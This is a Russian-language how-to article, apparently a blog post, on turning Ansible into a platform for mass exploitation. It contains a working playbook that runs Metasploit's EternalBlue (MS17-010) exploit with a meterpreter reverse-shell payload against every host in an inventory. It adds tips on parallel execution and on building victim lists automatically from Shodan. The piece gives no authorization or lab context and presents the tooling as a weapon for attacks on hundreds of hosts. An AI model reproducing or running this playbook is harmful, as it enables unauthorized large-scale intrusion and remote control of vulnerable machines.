67
Когда речь идёт о больших сетях, ручная эксплуатация уязвимостей быстро превращается в ад. Ты можешь красиво заэксплойтить одну машину через Metasploit, но как быть, если у тебя сотни одинаково дырявых хостов? Ответ прост — автоматизация через Ansible. Этот инструмент обычно используют для DevOps и администрирования, но его можно превратить в движок для массового запуска эксплойтов.
Почему Ansible?
Ansible идеально подходит для автоматизации эксплуатации потому что
• Безагентный подход: подключается по SSH (или WinRM для Windows) без установки клиента.
• Язык YAML: плейбуки пишутся просто, читаются любым человеком.
• Масштабируемость: один плейбук можно запустить на сотнях хостов одновременно.
• Интеграция: можно использовать в связке с Metasploit, custom-скриптами, и даже утилитами типа nmap
для агрессивного reconnaissance.
Идея простая: мы превращаем типичный DevOps-инструмент в ExploitOps-платформу.
Архитектура процесса
1. Инвентарь (inventory): список уязвимых хостов, с которыми мы хотим поработать.
2. Модуль запуска: Ansible-плейбук, которая дергает Metasploit или другой эксплойт-движок.
3. Аггрегация отчётов: всё логируется в JSON или в stdout Ansible для анализа.
Пример: Playbook для запуска Metasploit-модулей
Идея: пусть у нас есть 50 хостов с уязвимым сервисом SMB (MS17-010). Мы пишем плейбук, который:
• Запускает Metasploit RPC.
• Передаёт туда параметры эксплойта.
• Массово пускает атаку на все хосты из инвентаря.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
--- - name: Mass exploitation with Metasploit hosts: vuln_hosts gather_facts: no tasks: - name: Run SMB exploit via Metasploit command: > msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS {{ inventory_hostname }}; set RPORT 445; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.0.5; run -j; exit" register: exploit_result - debug: msg: "Exploit result on {{ inventory_hostname }}: {{ exploit_result.stdout }}" |
Как это работает
• hosts: vuln_hosts — это группа в инвентарном файле (файл inventory.ini
), куда заранее заносим IP уязвимых машин.
• command — мы дергаем msfconsole
напрямую: даём инструкции в одну строку через -x
.
• Ansible пробегает весь инвентарь и для каждой машины запускает эксплойт.
Инвентарь может выглядеть так (inventory.ini
):
1 2 3 4 |
[vuln_hosts] 192.168.1.10 192.168.1.11 192.168.1.12 |
Ускорение и масштаб
• Async mode: в Ansible есть async
+ poll: 0
, чтобы запускать задания параллельно.
• Фильтрация: перед атакой можно прикрутить модуль, который запускает nmap
и фильтрует только тех, у кого открыт нужный порт.
• Dynamic inventory: можно связать Ansible с Shodan API или своим сканнером, чтобы список жертв обновлялся автоматически.
Лайфхаки
• Работай через Metasploit RPC API — это гораздо стабильнее, чем дергать msfconsole
. Плейбук можно связать с Python-скриптом, который через RPC управляет атаками.
• Логируй каждый успех/фейл в отдельный файл. При массовой атаке ты быстро потеряешься без отчётности.
• Делай таски модульными: один для скана, другой для проверки уязвимости, третий для эксплуатации. Это даст гибкость и контроль процесса.
Итог
Ansible, изначально придуманное для админов, может стать настоящим оружием в руках исследователя безопасности. Масштабные атаки, автоматизация эксплойтов и контроль над сотнями хостов из одного YAML-а — вот что значит «эксплуатация по-взрослому».